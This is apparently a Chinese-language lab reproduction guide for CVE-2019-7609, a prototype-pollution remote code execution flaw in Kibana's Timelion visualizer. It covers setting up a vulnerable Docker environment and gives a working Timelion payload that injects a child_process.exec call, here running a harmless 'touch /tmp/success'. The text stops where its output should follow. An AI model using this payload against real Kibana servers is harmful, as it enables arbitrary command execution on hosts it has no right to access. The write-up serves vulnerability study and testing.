Kibana 原型污染导致远程代码执行 (CVE-2019-7609)
Kibana 是一个用于 Elasticsearch 的开源数据可视化仪表板。
5.6.15 和 6.6.1 之前的 Kibana 版本在 Timelion 可视化器中包含任意代码执行缺陷。有权访问 Timelion 应用程序的攻击者可以发送尝试执行 javascript 代码的请求。这可能会导致攻击者在主机系统上使用 Kibana 进程的权限执行任意命令。
参考:
- https://nvd.nist.gov/vuln/detail/CVE-2019-7609
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://slides.com/securitymb/prototype-pollution-in-kibana/#/4
环境说明
在设置环境之前,需要vm.max_map_count
在主机服务器(不是在docker容器中)更改为大于262144:
1 | sysctl -w vm.max_map_count=262144 |
然后,启动 Kibana 6.5.4 和 Elasticsearch 6.8.6:
1 | docker-compose up -d |
漏洞重现
启动环境后,Kibana 正在监听http://192.168.44.132:5106
. 原型污染发生在时间线可视化器中,请在此处填写以下有效负载:
1 | .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/success");process.exit()//') |
然后,访问“Canvas”页面以触发命令/bin/touch /tmp/success
。文件/tmp/success
创建成功: